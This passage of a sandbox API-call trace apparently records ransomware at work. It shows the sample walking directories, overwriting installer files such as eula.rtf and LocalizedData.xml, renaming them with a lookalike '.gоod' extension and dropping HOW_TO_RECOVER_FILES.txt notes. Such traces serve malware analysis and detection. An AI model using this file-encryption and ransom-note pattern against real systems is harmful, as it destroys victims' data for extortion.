returned 1 [0078.914] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\eula.rtf", lpFilePart=0x0) returned 0x23 [0078.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0078.914] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0078.914] GetFileType (hFile=0x768) returned 0x1 [0078.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0078.914] GetFileType (hFile=0x768) returned 0x1 [0078.914] ReadFile (in: hFile=0x768, lpBuffer=0x31b4518, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x31b4518*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0079.711] CloseHandle (hObject=0x768) returned 1 [0079.711] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\eula.rtf", lpFilePart=0x0) returned 0x23 [0079.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0079.711] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0079.711] GetFileType (hFile=0x768) returned 0x1 [0079.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0079.796] GetFileType (hFile=0x768) returned 0x1 [0079.796] WriteFile (in: hFile=0x768, lpBuffer=0x3154748*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3154748*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0079.796] CloseHandle (hObject=0x768) returned 1 [0079.797] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\eula.rtf", lpFilePart=0x0) returned 0x23 [0079.797] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0079.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0079.797] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2bc6a49a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f)) returned 1 [0079.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0079.797] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.gоod")) returned 1 [0079.799] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0079.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0079.799] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3268990 | out: lpFileInformation=0x3268990*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6)) returned 1 [0079.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0079.800] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0079.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0079.800] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0079.800] GetFileType (hFile=0x768) returned 0x1 [0079.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0079.800] GetFileType (hFile=0x768) returned 0x1 [0079.800] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0079.800] ReadFile (in: hFile=0x768, lpBuffer=0x3268d78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3268d78*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0079.802] CloseHandle (hObject=0x768) returned 1 [0079.802] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0079.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0079.802] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0079.802] GetFileType (hFile=0x768) returned 0x1 [0079.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0079.802] GetFileType (hFile=0x768) returned 0x1 [0079.802] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x121e6 [0079.802] WriteFile (in: hFile=0x768, lpBuffer=0x3269fe8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3269fe8*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0079.803] CloseHandle (hObject=0x768) returned 1 [0079.805] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0079.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0079.806] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0079.806] GetFileType (hFile=0x768) returned 0x1 [0079.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0079.806] GetFileType (hFile=0x768) returned 0x1 [0079.806] ReadFile (in: hFile=0x768, lpBuffer=0x326c280, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x326c280*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0080.046] CloseHandle (hObject=0x768) returned 1 [0080.047] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0080.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0080.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.047] GetFileType (hFile=0x768) returned 0x1 [0080.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0080.047] GetFileType (hFile=0x768) returned 0x1 [0080.047] WriteFile (in: hFile=0x768, lpBuffer=0x326b000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x326b000*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0080.047] CloseHandle (hObject=0x768) returned 1 [0080.049] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0080.049] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0080.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0080.049] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x2becc83b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x121f6)) returned 1 [0080.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0080.050] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.gоod")) returned 1 [0080.053] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0080.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0080.053] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0080.054] GetFileType (hFile=0x768) returned 0x1 [0080.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0080.054] GetFileType (hFile=0x768) returned 0x1 [0080.054] WriteFile (in: hFile=0x768, lpBuffer=0x3405008*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x3405008*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0080.056] CloseHandle (hObject=0x768) returned 1 [0080.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0080.056] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028", lpFilePart=0x0) returned 0x1a [0080.056] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0080.057] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.057] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0080.057] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0080.058] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0080.058] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.058] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0080.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0080.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0080.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0080.058] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028", lpFilePart=0x0) returned 0x1a [0080.058] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0080.058] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.058] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0080.059] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0080.059] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0080.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0080.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0080.059] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\eula.rtf", lpFilePart=0x0) returned 0x23 [0080.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0080.059] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x34142f0 | out: lpFileInformation=0x34142f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5)) returned 1 [0080.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0080.060] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\eula.rtf", lpFilePart=0x0) returned 0x23 [0080.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0080.060] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.060] GetFileType (hFile=0x768) returned 0x1 [0080.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0080.060] GetFileType (hFile=0x768) returned 0x1 [0080.060] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0080.060] ReadFile (in: hFile=0x768, lpBuffer=0x3414668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3414668*, lpNumberOfBytesRead=0x1f6edcc8*=0x8a5, lpOverlapped=0x0) returned 1 [0080.061] CloseHandle (hObject=0x768) returned 1 [0080.061] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\eula.rtf", lpFilePart=0x0) returned 0x23 [0080.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0080.061] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.062] GetFileType (hFile=0x768) returned 0x1 [0080.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0080.062] GetFileType (hFile=0x768) returned 0x1 [0080.062] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x18a5 [0080.062] WriteFile (in: hFile=0x768, lpBuffer=0x3415920*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3415920*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0080.062] CloseHandle (hObject=0x768) returned 1 [0080.063] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\eula.rtf", lpFilePart=0x0) returned 0x23 [0080.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0080.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.063] GetFileType (hFile=0x768) returned 0x1 [0080.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0080.063] GetFileType (hFile=0x768) returned 0x1 [0080.064] ReadFile (in: hFile=0x768, lpBuffer=0x3417c30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3417c30*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0080.314] CloseHandle (hObject=0x768) returned 1 [0080.314] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\eula.rtf", lpFilePart=0x0) returned 0x23 [0080.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0080.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 